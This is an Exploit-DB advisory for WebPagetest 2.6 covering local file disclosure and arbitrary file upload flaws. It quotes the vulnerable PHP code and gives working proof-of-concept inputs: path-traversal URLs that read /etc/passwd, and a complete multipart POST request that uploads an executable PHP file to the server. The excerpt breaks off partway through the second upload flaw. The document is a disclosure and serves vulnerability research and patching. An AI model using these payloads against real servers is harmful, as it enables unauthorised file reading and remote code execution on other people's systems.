Exploit-DB #19790
Description: webpagetest 2.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-13
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-07-11                              ]
 #####################################################
 # [ WebPagetest <= 2.6 ]  Multiple Vulnerabilities  #
 #####################################################
 #
 # Script: "WebPagetest provides a system for testing the performance of web pages from multiple
 #          locations/configurations and consuming the results in a friendly web interface. "
 #
 # Vendor:   http://www.webpagetest.org/about
 # Download: http://code.google.com/p/webpagetest/downloads/list
 #
 #####################################################
 # [ Local File Disclosure #1 ]
 # PoC: http://localhost/gettext.php?file=../../../../../../../../../../../etc/passwd
 #
 # File: ./webpagetest/gettext.php (lines: 2-13)
 #  ..cut..
   include('common.inc');                                         // 1
   $ok = false;

   if( isset($_GET['file']) && strlen($_GET['file']) )            // 2
   {
       $data = gz_file_get_contents("$testPath/{$_GET['file']}"); // 3
       if( $data !== false )
       {
           $ok = true;
           echo $data;                                            // 7 [LFD]
       }
   }
 #  ..cut..
 #
 # File: ./webpagetest/common.inc (lines: 493-510)
 #  ..cut..
   function gz_file_get_contents($file)
   {
       $data = null;

       $zip = gzopen("$file.gz", 'rb');
       if( $zip === false )
           $zip = gzopen($file, 'rb');                             // 4

       if( $zip !== false )
       {
           $data = gzread($zip, 10000000);                         // 5
           gzclose($zip);
       }
       else 
           $data = false;

       return $data;                                               // 6
   }
 #  ..cut..
 #
 #####################################################
 # [ Local File Disclosure #2 ]
 # PoC: http://localhost/gettcpdump.php?file=../../../../../../../../../etc/passwd
 #
 # File: ./webpagetest/gettcpdump.php (lines: 2-13)
 #  ..cut..
   include('common.inc');                                            // 1
   $file = "$testPath/{$_GET['file']}";                              // 2

   if( isset($_GET['file']) && strlen($_GET['file']) && gz_is_file($file) ) // 3
   {
       header ("Content-type: application/octet-stream");
       gz_readfile_chunked($file);                                   // 5
   }
 #  ..cut..
 #
 # File: ./webpagetest/common.inc (lines: 460-486, 586-590)
 #  ..cut..
   function gz_readfile_chunked($filename, $retbytes = TRUE) 
   {
       $buffer = '';
       $cnt =0;
       $handle = gzopen("$filename.gz", 'rb');
       if ($handle === false) 
           $handle = gzopen($filename, 'rb');                        // 6
       if ($handle === false) 
           return false;
       while (!gzeof($handle)) 
       {
           $buffer = gzread($handle, 1024 * 1024);  // 1MB at a time // 7
           echo $buffer;                                             // 8 [LFD]
 #  ..cut..
       }
 #  ..cut..
       return $status;
   }
 #  ..cut..
   function gz_is_file($filename)
   {
       $ret = is_file("$filename.gz") || is_file($filename);         // 4
       return $ret;                                                  //
   }
 #  ..cut..
 #
 #####################################################
 # [ Local File Disclosure #3 ]
 # PoC: http://localhost/getgzip.php?file=../../../../../../../../../etc/passwd
 # It's a very similar case, as above.
 #
 #####################################################
 # [ Arbitrary File Upload #1 ]
 # File: ./webpagetest/work/resultimage.php (lines: 18-48)
 #  ..cut..
   $locKey = $locations[$location]['key'];
   if( (!strlen($locKey) || !strcmp($key, $locKey)) || !strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1") )  // 1 true
   {
       if( isset($_FILES['file']) )                                                                     // 2
       {
           $fileName = $_FILES['file']['name'];                                                         // 3
           $path = './' . GetTestPath($id);                                                             // $path = './results/'
 #  ..cut..
           logMsg(" Moving uploaded image '{$_FILES['file']['tmp_name']}' to '$path/$fileName'\n");
           move_uploaded_file($_FILES['file']['tmp_name'], "$path/$fileName");                          // 4 [AFU]
       }
       else
           logMsg(" no uploaded file attached");
   }
 #  ..cut..
 # PoC: http://localhost/work/resultimage.php
   POST /work/resultimage.php HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: pl,en-us;q=0.7,en;q=0.3
   Accept-Encoding: gzip, deflate
   Connection: keep-alive
   Cache-Control: max-age=0
   Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]3548
   Content-Length: 209
   ----------------------------[PII_REDACTED]3548
   Content-Disposition: form-data; name="file"; filename="info.php"
   Content-Type: text/x-php

   <?php phpinfo(); ?>

   ----------------------------[PII_REDACTED]3548--
 # Uploaded file will be here: http://localhost/results/info.php
 #
 #####################################################
 # [ Arbitrary File Upload #2 ]
 # File: ./webpagetest/work/dopublish.php (lines: 2-31)
 #  ..cut..
   require_once('../lib/pclzip.lib.php');                              // 1
   include '../common.inc';
   header('Content-type: text/plain');
   header("Cache-Control: no-cache, must-revalidate");
   header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
   set_time_limit(300);

   // make sure